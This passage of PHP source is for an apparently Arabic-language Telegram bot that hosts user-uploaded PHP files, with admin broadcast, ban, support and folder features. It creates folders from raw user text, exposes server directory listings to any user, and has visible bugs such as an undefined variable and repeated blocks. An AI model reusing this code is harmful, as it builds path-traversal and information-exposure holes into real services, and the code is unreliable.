bot('sendmessage',[
'chat_id'=>$users[$i],
'text'=>"$text",
]);
}
bot('sendmessage',[
'chat_id'=>$chat_id,
'text'=>"
• تم اࢪسال الاذاعة الى ( $all ) شخص ✅
",
'reply_markup'=>json_encode([
'inline_keyboard'=>[
[['text'=>"رجوع ➡️ ",'callback_data'=>"Thkom"]],
]])
]);
unlink("msg.php");
}}

//قسم الرسائل//
if($data == "sendms"){
bot('EditMessageText',[
'chat_id'=>$admin,
'message_id'=>$message_id,
'text'=>"
*🆔 ارسل ايدي الشخص :*
",
'parse_mode'=>"MARKDOWN",
'reply_markup'=>json_encode([
'inline_keyboard'=>[
[["text"=>"الغاء ❌","callback_data"=>"Thkom"]],
]])
]);
$Host['mode'] = 'chat3';
$Host = json_encode($Host,32|128|265);
file_put_contents("Host/Host.json",$Host);
}
if($text != '/start' and $text != null and $Host['mode'] == 'chat3'){
bot('sendMessage',[
'chat_id'=>$admin,
'text'=> "
*• اࢪسل الآن رسالتك 💬 :*
",
'parse_mode'=>"MARKDOWN",
'reply_markup'=>json_encode([
'inline_keyboard'=>[
[["text"=>"رجوع ➡️","callback_data"=>"Thkom"]],
]])
]);
$Host['mode'] = 'poi3';
$Host['idd'] = $text;
$Host = json_encode($Host,32|128|265);
file_put_contents("Host/Host.json",$Host);
}
$ID = $Host['idd'];
if($text != '/start' and $text != null and $Host['mode'] == 'poi3'){
bot('sendMessage',[
'chat_id'=>$admin,
'text'=>"• تم الاࢪسال الى ".$Host['idd']." بنجاح ✅ ",
'parse_mode'=>"Markdown",
'reply_to_message_id'=>$message_id,
"reply_markup"=>json_encode([
"inline_keyboard"=>[
[["text"=>"رجوع ➡️","callback_data"=>"Thkom"]],
]])
]);
bot('sendmessage',[
'chat_id'=>$Host['idd'],
'text'=>"• تم اࢪسال رسالة اليك من المطور .

• الرسالة 💬 :

$text",
'parse_mode'=>"Markdown",
]);
$Host['mode'] = null;
$Host['idd'] = null;
$Host = json_encode($Host,32|128|265);
file_put_contents("Host/Host.json",$Host);
}

if ($text == "VOLT") {
// إرسال طلب تفعيل الحساب إلى المدير
bot("sendMessage", [
"chat_id" => $admin,
"text" => "*✅ - طلب تفعيل حساب\n☑️ - الشخص:* $name\n\n[$from_id](tg://user?id=$chat_id)\n[Acount](tg://openmessage?user_id=$chat_id)",
"parse_mode" => "markdown",
'reply_markup' => json_encode([
'inline_keyboard' => [
[['text' => "✅ - تفعيل حسابه", 'callback_data' => "trues|$from_id"],
['text' => "❌ - رفض", 'callback_data' => "falses|$from_id"]],
]
])
]);

// إبلاغ المستخدم بأن الطلب تم إرساله
$url = "https://t.me/SIMVOLTSIM/1655"; // هنا رابط
bot('sendPhoto',['chat_id' =>$chat_id,"photo"=>$url,'caption' =>"
*تم ارسال طلب اشتراك* [للمطور](https://t.me/DevAndro)
",
"parse_mode" => "markdown",
]);
return false;
}

$dataParts = explode("|", $data);
$action = $dataParts[0];
$userId = $dataParts[1];

if ($action == "trues") {
// تفعيل الوضع المدفوع
bot("editMessageText", [
"chat_id" => $chat_id,
'message_id' => $message_id,
"text" => "*🚀 - تم تفعيل الوضع المدفوع للمستخدم*",
]);

$url = "https://t.me/SIMVOLTSIM/1655"; // هنا رابط
bot('sendPhoto',['chat_id' =>$userld,"photo"=>$url,'caption' =>"* تم تفعيل الوضع المدفوع لك [للمطور](https://t.me/DevAndro) " ,
"parse_mode" => "markdown",
]);

$UploadEr["mems"][$userId] = 1;
$UploadEr["memsA"][] = $userId;
SETJSON($UploadEr);
} elseif ($action == "falses") {
// رفض الطلب
bot("editMessageText", [
"chat_id" => $chat_id,
'message_id' => $message_id,
"text" => "تم رفض الطلب 🚫",
]);

$url = "https://t.me/SIMVOLTSIM/1655"; // هنا رابط
bot('sendPhoto',['chat_id' =>$userld,"photo"=>$url,'caption' =>"*- تم رفض طلبك [المطور](https://t.me/DevAndro) ❌ ❕ *",
"parse_mode" => "markdown",
]);
}

if (empty($UploadEr["mems"][$from_id]) && $from_id != $admin) {
// ترحيب بالمستخدم الجديد
$url = "https://t.me/SIMVOLTSIM/1655"; // هنا رابط
bot('sendPhoto',['chat_id' =>$chat_id,"photo"=>$url,'caption' =>"
*
• مرحبا بك عزيزي* [$name](tg://user?id=$chat_id) *في رفع ملفات علي استضافه المدفوع والمتميز
- يمتلك البوت الكثير من الحمايه المشدده
- يمتلك نظام سلس في التعامل والاستخدام
• نتمنى للجميع تجربه ممتعه 🥰
*",
'parse_mode' => "markdown",
'reply_markup' => json_encode([
'inline_keyboard' => [
[['text' => "عدد مستخدمي البوت المدفوع ($SAl) 📊", 'callback_data' => "Abdoo"]],
[['text' => "تقديم طلب اشتراك 🤙🏻", 'callback_data' => "VOLT"]],
[['text' => "المطور 📲", 'url' => "https://t.me/DevAndro"]],
[['text' => " قناة السورس √", 'url' => "https://t.me/AW_EG"]],
]
])
]);
return false;
}


if($data == "sendReport") {
bot("editMessagetext",[
"chat_id" => $chat_id,
'message_id' => $message_id ,
"text" => "
#️⃣] ارسل الان الرساله التوضيحيه للمطور
❗] ان كان عن طريق الخطا سيتم فك الحظر
" ,
]);
$UploadEr["mode"][$from_id] = "sR" ;
SETJSON($UploadEr);
return false ;
}

if($text and $UploadEr["mode"][$from_id] == "sR") {
bot("sendMessage", [
"chat_id" => $chat_id,
"text" => "✅] تم استلام الطلب سيتم مراجعته في اقرب وقت ممكن",
"parse_mode" => "markdown"

]);
bot("sendMessage", [
"chat_id" => $admin ,
"text" => "🎃] طلب فك حظر عزيزي المبرمج
👤] من $name

[$from_id](tg://user?id=$chat_id)
[Acount](tg://openmessage?user_id=$chat_id)

الرسالة التوضيحية للعضو 👤💬 : $text
لفك الحظر عنه ارسل [/Unb_$from_id]
",
"parse_mode" => "markdown"

]);
$UploadEr["mode"][$from_id] = null ;
SETJSON($UploadEr);
return false ;
}
if ($UploadEr["mems"][$from_id] == null) {
$UploadEr["mems"][$from_id] = 1 ;
$UploadEr["memsA"][] = $from_id ;
SETJSON($UploadEr);
}
if($data == "sendReport") {
bot("editMessagetext",[
"chat_id" => $chat_id,
'message_id' => $message_id ,
"text" => "
#️⃣] ارسل الان الرساله التوضيحيه للمطور
❗] ان كان عن طريق الخطا سيتم فك الحظر
" ,
]);
$UploadEr["mode"][$from_id] = "sR" ;
SETJSON($UploadEr);
return false ;
}

if($text and $UploadEr["mode"][$from_id] == "sR") {
bot("sendMessage", [
"chat_id" => $chat_id,
"text" => "✅] تم استلام الطلب سيتم مراجعته في اقرب وقت ممكن 🕐",
"parse_mode" => "markdown"

]);
bot("sendMessage", [
"chat_id" => $admin ,
"text" => "🎃] طلب فك حظر عزيزي المبرمج
👤] من $name

[$from_id](tg://user?id=$chat_id)
[Acount](tg://openmessage?user_id=$chat_id)

الرسالة التوضيحية للعضو 👤💬 : $text
لفك الحظر عنه ارسل [/Unb_$from_id]
",
"parse_mode" => "markdown"

]);
$UploadEr["mode"][$from_id] = null ;
SETJSON($UploadEr);
return false ;
}
$not = array("$admin", "2041956501");
if (isset($from_id) && is_array($UploadEr)) {
if (in_array($from_id, $UploadEr)) {
if (!in_array($from_id, $not)) {
bot("deleteMessage", [
"chat_id" => $chat_id,
"message_id" => $UploadEr["m_id"][$from_id]
]);
$n = bot("sendMessage", [
"chat_id" => $chat_id,
"text" => "• تم حظرك من البوت
بسبب رفع ملفات مخالفة 🚫",
"parse_mode" => "markdown",
'reply_markup'=>json_encode([
'inline_keyboard'=>[
[['text'=>"ارسال طلب فك حظر",'callback_data'=>"sendReport" ]],
]
])
]);
$UploadEr["m_id"][$from_id] = $n->result->message_id;
SETJSON($UploadEr);
return false;
}
}
}
$A = $e . $fm;
if ($UploadEr["mems"][$from_id] == null) {
$UploadEr["mems"][$from_id] = 1 ;
$UploadEr["memsA"][] = $from_id ;
SETJSON($UploadEr);
}
if($data == "sendReport") {
bot("editMessagetext",[
"chat_id" => $chat_id,
'message_id' => $message_id ,
"text" => "
#️⃣] ارسل الان الرساله التوضيحيه للمطور
🗃] ان كان عن طريق الخطا سيتم فك الحظر
" ,
]);
$UploadEr["mode"][$from_id] = "sR" ;
SETJSON($UploadEr);
return false ;
}

if($text and $UploadEr["mode"][$from_id] == "sR") {
bot("sendMessage", [
"chat_id" => $chat_id,
"text" => "✅] تم استلام الطلب سيتم مراجعته في اقرب وقت ممكن",
"parse_mode" => "markdown"

]);
bot("sendMessage", [
"chat_id" => $admin ,
"text" => "🎃] طلب فك حظر عزيزي المبرمج
📇] من $name

[$from_id](tg://user?id=$chat_id)
[Acount](tg://openmessage?user_id=$chat_id)

الكليشه : $text
لفك الحظر عنه ارسل [/Unb_$from_id]
",
"parse_mode" => "markdown"

]);
$UploadEr["mode"][$from_id] = null ;
SETJSON($UploadEr);
return false ;
}
$not = array("$admin", "6186856384");
if (isset($from_id) && is_array($UploadEr)) {
if (in_array($from_id, $UploadEr)) {
if (!in_array($from_id, $not)) {
bot("deleteMessage", [
"chat_id" => $chat_id,
"message_id" => $UploadEr["m_id"][$from_id]
]);
$n = bot("sendMessage", [
"chat_id" => $chat_id,
"text" => "⚠️ You are banned from using the bot due to violations.\n⚠️ تم حظرك من استخدام الروبوت بسبب الانتهاكات.",
"parse_mode" => "markdown",
'reply_markup'=>json_encode([
'inline_keyboard'=>[
[['text'=>"ارسال طلب فك حظر",'callback_data'=>"sendReport" ]],
]
])
]);
$UploadEr["m_id"][$from_id] = $n->result->message_id;
SETJSON($UploadEr);
return false;
}
}
}


if(preg_match("/Unb_/", $text)) {
if($from_id == $admin) {
$B=array_search(explode("_",$text)[1],$UploadEr);
unset($UploadEr[$B]);
SETJSON($UploadEr);
bot("sendMessage", [
"chat_id" => $admin ,
"text" => "
Done ✅
Id : (". explode("_",$text)[1].") / $B
",
"parse_mode" => "markdown"

]);
bot("sendMessage", [
"chat_id" => explode("_",$text)[1] ,
"text" => "⚠️] تم فك الحظر عن حسابك
📜] الرجاء التزام بقوانين البوت
",
"parse_mode" => "markdown"

]);
bot("sendmessage",[
"chat_id" => explode("_",$text)[1],
"text" => "
📤] مرحبا بك في بوت رفع الملفات علي الاستضافه

📇] ارسل الملف الان لرفعه علي الاستضافه

📜] تعليمات البوت /help

",
'parse_mode'=>"markdown",
'reply_markup'=>json_encode([
'inline_keyboard'=>[
[['text'=>"🗃 ملفاتك المرفوعه : $counts",'callback_data'=>"apk" ],['text'=>"📊 جميع ملفات المرفوعه : $vc | $no",'callback_data'=>"apk" ]],
[['text'=>"🌏 عدد مستخدمين البوت : $nj",'callback_data'=>"apk" ]],

[['text'=>"تحديث البوت | Refresh",'callback_data'=>"refr" ],['text'=>"تحديث الملفات",'callback_data'=>"nas" ]],
[['text'=>"➿] التواصل مع الدعم",'callback_data'=>"contact" ],['text'=>"صنع ملف 📋",'callback_data'=>"newfile" ]],
[['text'=>"المطور 📲",'url'=>"https://t.me/DevAndro" ],['text'=>" قناة السورس √",'url'=>"https://t.me/AW_EG" ]],
[['text'=>"اعدادات حسابك ⚙️ ",'url'=>"tg://settings" ],['text'=>"سرعة الاستضافة ⚡",'callback_data'=>"bing" ]],
[['text'=>"انشاء فولدر 📂",'callback_data'=>"uploadD" ],['text'=>"تعيين فولدر الرفع 📂",'callback_data'=>"hiring" ]],
[['text'=>"حاجاتي 📊",'callback_data'=>"show" ]],
[['text'=>"تعديل ملف 🗒",'callback_data'=>"Editfile" ],['text' => "انشاء ملف 🗒", 'callback_data' => "newfile"]],
]
])
]);
}
}



$counts = $UploadEr["count$from_id"] ?? 0;
$vc = $UploadEr["count"] ?? 0;
$no = format_number($vc)?? "0";
$nj = count($UploadEr["memsA"]) ;
if( $text == "/start") {
bot("sendmessage",[
"chat_id" => $chat_id,
"text" => "
📤] مرحبا بك في بوت رفع الملفات علي الاستضافه

📇] ارسل الملف الان لرفعه علي الاستضافه

📜] تعليمات البوت /help

",
'parse_mode'=>"markdown",
'reply_markup'=>json_encode([
'inline_keyboard'=>[
[['text'=>"🗃 ملفاتك المرفوعه : $counts",'callback_data'=>"apk" ],['text'=>"📊 جميع ملفات المرفوعه : $vc | $no",'callback_data'=>"apk" ]],
[['text'=>"🌏 عدد مستخدمين البوت : $nj",'callback_data'=>"apk" ]],

[['text'=>"تحديث البوت | Refresh",'callback_data'=>"refr" ],['text'=>"تحديث الملفات",'callback_data'=>"nas" ]],
[['text'=>"➿] التواصل مع الدعم",'callback_data'=>"contact" ],['text'=>"صنع ملف 📋",'callback_data'=>"newfile" ]],
[['text'=>"المطور 📲",'url'=>"https://t.me/DevAndro" ],['text'=>" قناة السورس √",'url'=>"https://t.me/AW_EG" ]],
[['text'=>"اعدادات حسابك ⚙️ ",'url'=>"tg://settings" ],['text'=>"سرعة الاستضافة ⚡",'callback_data'=>"bing" ]],
[['text'=>"انشاء فولدر 📂",'callback_data'=>"uploadD" ],['text'=>"تعيين فولدر الرفع 📂",'callback_data'=>"hiring" ]],
[['text'=>"حاجاتي 📊",'callback_data'=>"show" ]],
[['text'=>"تعديل ملف 🗒",'callback_data'=>"Editfile" ],['text' => "انشاء ملف 🗒", 'callback_data' => "newfile"]],
]
])
]);
$UploadEr["المود"][$from_id] = null ;
SETJSON($UploadEr) ;
return false ;
$chat_id = $update->getMessage()->getChat()->getId();
}

function progress($total, $current){
$progress = $current / $total;
$bar_length = 20;
$filled_length = round($bar_length * $progress);
$bar = str_repeat("✳️", $filled_length) . str_repeat("✨", ($bar_length - $filled_length));
$result = [
"bar"=>"[".$bar."]",
"progress"=>intval($progress * 100) ."%",
];
return $bar. intval($progress * 100) ."%";
}

function format_number($number) {
$suffixes = array('', 'k', 'm', 'b', 't');
$suffix_index = 0;

while ($number >= 1000) {
$number /= 1000;
$suffix_index++;
}

return round($number, 1) . $suffixes[$suffix_index];
}


if($data == "nas") {
$botfile = $UploadEr["FileMatch"]??"0";
$other = $UploadEr["unFileMatch"]?? "0";
$mm = $UploadEr["filehc"]?? "0";
$curl = $UploadEr["curlfile"]?? "0";
$no = format_number($vc)?? "0";
bot("editMessagetext",[
"chat_id" => $chat_id,
'message_id' => $message_id ,
"text" => "*
🆙] احصائيات الرفع في البوت @".bot("getme")->result->username. "
🗄️] جميع الملفات : $vc | $no
⚙️] ملفات بوتات : $botfile
📃] غيرها من للملفات : $other
☢️] ملفات اختراق تم الغائها : $mm
🛡️] ملفات بمكتبه CURL : $curl
💯] نسبه حمايه البوت للملفات الضاره : عاليه الدقه
*
" ,
'parse_mode'=>"markdown",
'reply_markup'=>json_encode([
'inline_keyboard'=>[
[['text'=>"حذف جميع ملفاتك ‼️",'callback_data'=>"deleteall" ]],
[['text'=>"اضغط هنا للتواصل مع الدعم الفني للبوت",'callback_data'=>"contact" ]],
[['text'=>"المطور 📲",'url'=>"https://t.me/JIOOSBOT" ],['text'=>" قناة السورس √",'url'=>"https://t.me/AW_EG" ]],
]
])
]);
}
if($data == "refr") {
for($i=0;$i < 11;$i++){
bot("editMessagetext",[
"chat_id" => $chat_id,
'message_id' => $message_id ,
"text" => "*
♻️] يتم عمل تحديث انتضر قليلا
". progress("100",$i*10)."
*
" ,
"parse_mode" => "marKdown",

]);
}
if($i >= 10){
bot("editMessagetext",[
"chat_id" => $chat_id,
'message_id' => $message_id ,
"text" => "*
✨] تم الانتهاء من التحديث ✔
🗃] تم تحديث ملفات البوت ✔
*
" ,
"parse_mode" => "marKdown",

]);
bot("sendmessage",[
"chat_id" => $chat_id,
"text" => "
📤] مرحبا بك في بوت رفع الملفات علي الاستضافه

📇] ارسل الملف الان لرفعه علي الاستضافه

📜] تعليمات البوت /help

",
'parse_mode'=>"markdown",
'reply_markup'=>json_encode([
'inline_keyboard'=>[
[['text'=>"🗃 ملفاتك المرفوعه : $counts",'callback_data'=>"apk" ],['text'=>"📊 جميع ملفات المرفوعه : $vc | $no",'callback_data'=>"apk" ]],
[['text'=>"🌏 عدد مستخدمين البوت : $nj",'callback_data'=>"apk" ]],

[['text'=>"تحديث البوت | Refresh",'callback_data'=>"refr" ],['text'=>"تحديث الملفات",'callback_data'=>"nas" ]],
[['text'=>"➿] التواصل مع الدعم",'callback_data'=>"contact" ],['text'=>"صنع ملف 📋",'callback_data'=>"newfile" ]],
[['text'=>"المطور 📲",'url'=>"https://t.me/DevAndro" ],['text'=>" قناة السورس √",'url'=>"https://t.me/AW_EG" ]],
[['text'=>"اعدادات حسابك ⚙️ ",'url'=>"tg://settings" ],['text'=>"سرعة الاستضافة ⚡",'callback_data'=>"bing" ]],
[['text'=>"انشاء فولدر 📂",'callback_data'=>"uploadD" ],['text'=>"تعيين فولدر الرفع 📂",'callback_data'=>"hiring" ]],
[['text'=>"حاجاتي 📊",'callback_data'=>"show" ]],
[['text'=>"تعديل ملف 🗒",'callback_data'=>"Editfile" ],['text' => "انشاء ملف 🗒", 'callback_data' => "newfile"]],
]
])
]);
}
}

if($data == "back") {
bot("editMessagetext",[
"chat_id" => $chat_id,
"message_id" => $message_id,
"text" => "
📤] مرحبا بك في بوت رفع الملفات علي الاستضافه

📇] ارسل الملف الان لرفعه علي الاستضافه

📜] تعليمات البوت /help

",
'parse_mode'=>"markdown",
'reply_markup'=>json_encode([
'inline_keyboard'=>[
[['text'=>"🗃 ملفاتك المرفوعه : $counts",'callback_data'=>"apk" ],['text'=>"📊 جميع ملفات المرفوعه : $vc | $no",'callback_data'=>"apk" ]],
[['text'=>"🌏 عدد مستخدمين البوت : $nj",'callback_data'=>"apk" ]],

[['text'=>"تحديث البوت | Refresh",'callback_data'=>"refr" ],['text'=>"تحديث الملفات",'callback_data'=>"nas" ]],
[['text'=>"➿] التواصل مع الدعم",'callback_data'=>"contact" ],['text'=>"صنع ملف 📋",'callback_data'=>"newfile" ]],
[['text'=>"المطور 📲",'url'=>"https://t.me/DevAndro" ],['text'=>" قناة السورس √",'url'=>"https://t.me/AW_EG" ]],
[['text'=>"اعدادات حسابك ⚙️ ",'url'=>"tg://settings" ],['text'=>"سرعة الاستضافة ⚡",'callback_data'=>"bing" ]],
[['text'=>"انشاء فولدر 📂",'callback_data'=>"uploadD" ],['text'=>"تعيين فولدر الرفع 📂",'callback_data'=>"hiring" ]],
[['text'=>"حاجاتي 📊",'callback_data'=>"show" ]],
[['text'=>"تعديل ملف 🗒",'callback_data'=>"Editfile" ],['text' => "انشاء ملف 🗒", 'callback_data' => "newfile"]],
]
])
]);
$UploadEr["المود"][$from_id] = null ;
SETJSON($UploadEr) ;
}

if ($data == "newfile") {
// قم بتعيين متغير يحدد متى يجب استقبال الرسائل
$accept_messages = true;

bot("editMessagetext",[
"chat_id" => $chat_id,
"message_id" => $message_id,
"text" => "📤 ارسل الكود الذي تريد تحويله الى ملف",
'parse_mode' => "markdown",
'reply_markup' => json_encode([
'inline_keyboard' => [
[['text' => "رجوع", 'callback_data' => "back" ]],
]
])
]);
}

if($data == "contact") {
bot("editMessagetext",[
"chat_id" => $chat_id,
'message_id' => $message_id ,
"text" => "
*
✔️] ارسل رسالتك
*
" ,
"parse_mode" => "markdown",
'reply_markup'=>json_encode([
'inline_keyboard'=>[
[['text'=>"🔙] رجوع",'callback_data'=>"back" ]],
]
])
]);
$UploadEr["المود"][$from_id] = "twsl" ;
SETJSON($UploadEr) ;
}
if(preg_match("/Rd_/", $text) and $chat_id == $admin) {
$chat=explode("_", $text)[1];
$msg=explode("_", $text)[2];
bot("sendmessage",[
"chat_id" => $admin ,
"text" => "
📶] ارسل الان الرساله
📇] يتم ارسالها الى

[$from_id](tg://user?id=$chat)
[Acount](tg://openmessage?user_id=$chat)
",
'parse_mode'=>"markdown",
]);
$UploadEr["المود"][$from_id] = "Rd_".$chat."_".$msg."" ;
SETJSON($UploadEr) ;
return false ;
}

if (preg_match("/Rd_/", $UploadEr["المود"][$from_id] ) && $chat_id == $admin) {
$chat = explode("_", $UploadEr["المود"][$from_id])[1];
$msg = explode("_", $UploadEr["المود"][$from_id])[2];
bot("sendmessage", [
"chat_id" => $admin,
"text" => "✅ تم ايصال رسالتك ",
'parse_mode' => "markdown",
]);
$b=bot("sendmessage", [
"chat_id" => $chat,
"text" => $text,
"reply_to_message_id" => $msg,
'parse_mode' => "markdown",
]);
bot("sendmessage", [
"chat_id" => $chat,
"text" => "🌹] هذا رساله من الدعم لارسال الرسائل اضغط علي الزر ادناه" ,
"reply_to_message_id" => $b->result->message_id,
'parse_mode' => "markdown",
'reply_markup'=>json_encode([
'inline_keyboard'=>[
[['text'=>"➿] ارسال رساله",'callback_data'=>"contact" ]],
]
])
]);

return false ;
}
if($text and $UploadEr["المود"][$from_id] == "twsl") {
bot("sendmessage",[
"chat_id" => $chat_id,
"text" => "
😊 تم ارسال رسالتك سنجاوب عليك في اقرب وقت ونحل مشكلتك
",
'parse_mode'=>"markdown",
'reply_markup'=>json_encode([
'inline_keyboard'=>[
[['text'=>"🔙] لانهاء ارسال الرسائل",'callback_data'=>"back" ]],
]
])
]);
$u = $message_id;
bot("sendmessage",[
"chat_id" => $admin ,
"text" => "
📶] تم ارسال رساله جديده

💢] $text

📇] من $name

[$from_id](tg://user?id=$chat_id)
[Acount](tg://openmessage?user_id=$chat_id)

للرد علي رساله الشخص [/Rd_".$from_id."_".$u."]
",
'parse_mode'=>"markdown",
]);
}
$folderData = json_decode(file_get_contents('folder.json'), true);
$p = $chat_id;
if (isset($folderData[$p])) {
$folder_id = $folderData[$p];
} else {
$folder_id = 'bots';
$folderData[$p] = $folder_id;
file_put_contents('folder.json', json_encode($folderData));
}
mkdir($chat_id);
if ($data == 'show') {
$dir = "";
$file = "";
$ss = __DIR__;
$al = scandir($ss);
foreach ($al as $item) {
if ($item == '.' || $item == '..') {
continue;
}
if (is_dir($ss . "/" . $item)) {
$dir .= "- $item 📂\n";

// List files inside the directory
$files_in_dir = scandir($ss . "/" . $item);
foreach ($files_in_dir as $file_in_dir) {
if ($file_in_dir == '.' || $file_in_dir == '..') {
continue;
}
if (is_file($ss . "/" . $item . "/" . $file_in_dir)) {
$dir .= " - $file_in_dir 📃\n";
}
}
} elseif (is_file($ss . "/" . $item)) {
$file .= "- $item 📃\n";
} }
$d = 1;
$f = 1;
$dirs = "- المجلدات 📂؛\n";
$all = count(array_diff(scandir($ss), array('..', '.')));
$files = "- الملفات 📃\n ";
foreach (scandir($ss) as $item) {
if ($item == '.' || $item == '..') {
continue;
}
if (is_dir($ss . "/" . $item)) {
$dirs .= "*$d-* `$item`\n";
$d += 1;
}
if (is_file($ss . "/" . $item)) {
$files .= "*$f-* `$item`\n";
$f += 1;
}
}

bot('sendMessage', [
'chat_id' => $chat_id,
'text' => "• العدد الكلي: $all\n\n$dirs\n`$dir`\n-----------\n$files`$file`",
'parse_mode'=>"markdown",
'reply_markup'=>json_encode([
'inline_keyboard'=>[
[['text'=>'رجوع' ,'callback_data'=>"back"]],
]
])
]);
}


//////
if ($data == 'uploadD') {
bot('editMessageText', [
'chat_id' => $chat_id,
'message_id' => $message_id,
'text' => '- قم بأرسال اسم المجلد ، ',
'parse_mode' => 'markdown',
'reply_markup' => json_encode([
'inline_keyboard' => [
[['text' => 'رجوع', 'callback_data' => 'back']]
]
])
]);

$filess['mode'] = 'uploadD';
save($filess);
exit;
}

///

$ss = __DIR__;
if ($data == 'hiring') {
$buttons = [];
$folders = [];

$al = scandir($ss);
foreach ($al as $item) {
if ($item == '.' || $item == '..') {
continue;
}
if (is_dir($ss . "/" . $item)) {
$folders[] = $item; // قم بتخزين أسماء المجلدات
}
}

// إنشاء الأزرار باستخدام أسماء المجلدات
foreach ($folders as $folder) {
$buttons[] = [
['text' => $folder, 'callback_data' => "folder_$folder"]
];
}
$backButton = [
['text' => 'رجوع', 'callback_data' => 'back']
];

// دمج زر "رجوع" مع مصفوفة الأزرار
$buttons[] = $backButton;

// تنسيق الأزرار في الصيغة المطلوبة
$keyboard = json_encode([
'inline_keyboard' => $buttons
]);

// إرسال الرسالة مع الأزرار
bot("editMessagetext",[
'chat_id' => $chat_id,
'message_id' => $message_id,
'text' => 'يرجى اختيار المجلد:',
'parse_mode' => 'markdown',
'reply_markup' => $keyboard
]);

$filess['mode'] = 'hiring';
save($filess);
exit;
}
$ss = __DIR__;
///@@@@@@@@@///

/////

if ($filess['mode'] == 'hiring') {
$folder_name = str_replace('folder_', '', $data);
if (is_dir(__DIR__ . '/' . $folder_name)) {
$folderData = json_decode(file_get_contents('folder.json'), true);
$folderData[$chat_id] = $folder_name;
file_put_contents('folder.json', json_encode($folderData));
bot("editMessagetext",[
'chat_id' => $chat_id,
'message_id' => $message_id,
'text' => "- تم التغيير للمجلد بنجاح ✅؛ *$folder_name* ",
'parse_mode'=>"markdown",
'reply_markup'=>json_encode([
'inline_keyboard'=>[
[['text'=>'رجوع' ,'callback_data'=>"back"]],
]
])
]);
save(clear($filess));
} else {
bot('sendMessage', [
'chat_id' => $chat_id,
'text' => "- لا يوجد مجلد بالاسم *$folder_name* ",
'parse_mode'=>"markdown",
'reply_markup'=>json_encode([
'inline_keyboard'=>[
[['text'=>'رجوع' ,'callback_data'=>"back"]],
]
])
]);
save(clear($filess));
}
}

/////

if ($filess['mode'] == 'uploadD') {
if (mkdir(__DIR__ . '/' . $text)) {
$folderData = json_decode(file_get_contents('folder.json'), true);
$folderData[$chat_id] = $text;
file_put_contents('folder.json', json_encode($folderData));
bot('sendMessage', [
'chat_id' => $chat_id,
'text' => "- تم الانشاء بنجاح ✅؛ *$text* ",
'parse_mode'=>"markdown",
'reply_markup'=>json_encode([
'inline_keyboard'=>[
[['text'=>'رجوع' ,'callback_data'=>"back"]],
]
])
]);
} else {
bot('sendMessage', [
'chat_id' => $chat_id,
'text' => "- المجلد موجود من قبل !! 🚫؛ *$text*",
'parse_mode'=>"markdown",
'reply_markup'=>json_encode([
'inline_keyboard'=>[
[['text'=>'رجوع' ,'callback_data'=>"back"]],
]
])
]);
}
save(clear($filess));
}

/////



////////

///////
if ($data == "newfile") {
bot("editMessagetext",[
"chat_id" => $chat_id,
"message_id" => $message_id,
"text" => "📤 يرجى إرسال الكود.",
'parse_mode' => "markdown",
'reply_markup' => json_encode([
'inline_keyboard' => [
[['text' => "رجوع 🔙", 'callback_data' => "back"]],
]
])
]);

}
//////////
if ($data == "Editfile") {

bot("editMessagetext",[
"chat_id" => $chat_id,
"message_id" => $message_id,
"text" => "📤 يرجى إرسال الملف

ملاحظه عند تعديل الملف لا تحتاج الى عمل ويبهوك بشرط ارسال الملف بنفس الاسم وتعيين المجلد الذي يوجد به الملف القديم 🔁",
'parse_mode' => "markdown",
'reply_markup' => json_encode([
'inline_keyboard' => [
[['text' => "رجوع 🔙", 'callback_data' => "back"]],
]
])
]);
}
///////////
if ($data == "bing") {
$b=bot('sendMessage', [
'chat_id' => $chat_id,
'text' => "تم البدء بقياس السرعه ✅",
'parse_mode' => "Markdown",
]);
sleep(1);

$userb = strtoupper($userbot);

$start_time = microtime(true);




for ($i = 0; $i < 11; $i++) {
bot("editMessageText", [
"chat_id" => $chat_id,
'message_id' => $b->result->message_id,
"text" => "
*
♻️ يتم قياس السرعه انتظر قليلا...
" . $i * 10 . "%
*
",
"parse_mode" => "Markdown",
]);
}

$end_time = microtime(true);
if ($i >= 10) {
bot("editMessageText", [
"chat_id" => $chat_id,
'message_id' => $b->result->message_id,
"text" => "
*
✨ تم الانتهاء من قياس السرعه ✓
*
",
"parse_mode" => "Markdown",

]);
sleep(1);
}
$execution_time = $end_time - $start_time;
$execution_time = number_format($execution_time, 4, '.', '');
if ($execution_time <= 1.5) {
$f = "جامده 💯";
}
if ($execution_time <= 3 && $execution_time > 1.5) {
$f = "مش وحشه 🧸";
}
if ($execution_time > 3) {
$f = "ضعيفه اوي ❌";
}

bot("editMessageText", [
"chat_id" => $chat_id,
'message_id' => $b->result->message_id,
'text' => "
✬ سرعة البوت ⋙ $execution_time
$f
",
'parse_mode' => "Markdown",
]);
}
//===============//
if( $text == "/help") {
bot("sendmessage",[
"chat_id" => $chat_id,
"text" => "
⚙️ تعليمات البوت كالاتي
1 - لاتقم برفع ملف مكرر مرتين ( يؤدي الي حظرك وحذف ملفاتك من البوت)
2 - لاتقم برفع الملفات فيها اختراق (البوت فيه نظام فحص قوي في حال اكتشاف سيتم حظرك من البوت ونشرك انك قمت بمحاوله اختراق)
3- (الاهم) قم بازاله كود عمل الويبهوك التلقائي في الملف
4 - مترفعش اكتر من ملف بنفس الاسم
5 - لو هترفع ملف مرتين اعمل حذف للملف بعدين ارفعه تاني او غير الاسم

نتمني لك كل التوفيق ♥
",
'parse_mode'=>"markdown",
'reply_markup'=>json_encode([
'inline_keyboard'=>[
[['text'=>"اضغط هنا للتواصل مع الدعم الفني للبوت",'callback_data'=>"contact" ]],
[['text'=>"المطور 📲",'url'=>"https://t.me/DevAndro" ],['text'=>" قناة السورس √",'url'=>"https://t.me/AW_EG" ]],
] ]) ]); }
if ($update->message->document) {
$file_id = "https://api.telegram.org/file/bot" . API_KEY . "/" . bot("getfile", ["file_id" => $update->message->document->file_id])->result->file_path;

if (pathinfo($file_id, PATHINFO_EXTENSION) == "php") {
bot("sendmessage", [
"chat_id" => $chat_id,
"text" => "*📊] يتم التحليل انتظر قليلاً..*",
"parse_mode" => "marKdown",
]);

mkdir($chat_id);
$ur = "https://$domin" . str_replace("Abdoo.php", "", $_SERVER['SCRIPT_NAME']) . "$folder_id/" . str_replace(".php", "", $update->message->document->file_name) . ".php";
$text = file_get_contents($file_id);
$document_file_id = $update->message->document->file_id;
$f = file_get_contents('https://api.telegram.org/file/bot' . API_KEY . '/' . json_decode(file_get_contents('https://api.telegram.org/bot' . API_KEY . '/getFile?file_id=' . $document_file_id), true)['result']['file_path']);

mkdir('check');
file_put_contents("check/$chat_id.php", $f);
$true = file_get_contents("check/$chat_id.php");
$count = count(explode("\n", $true));

// Patterns to search for
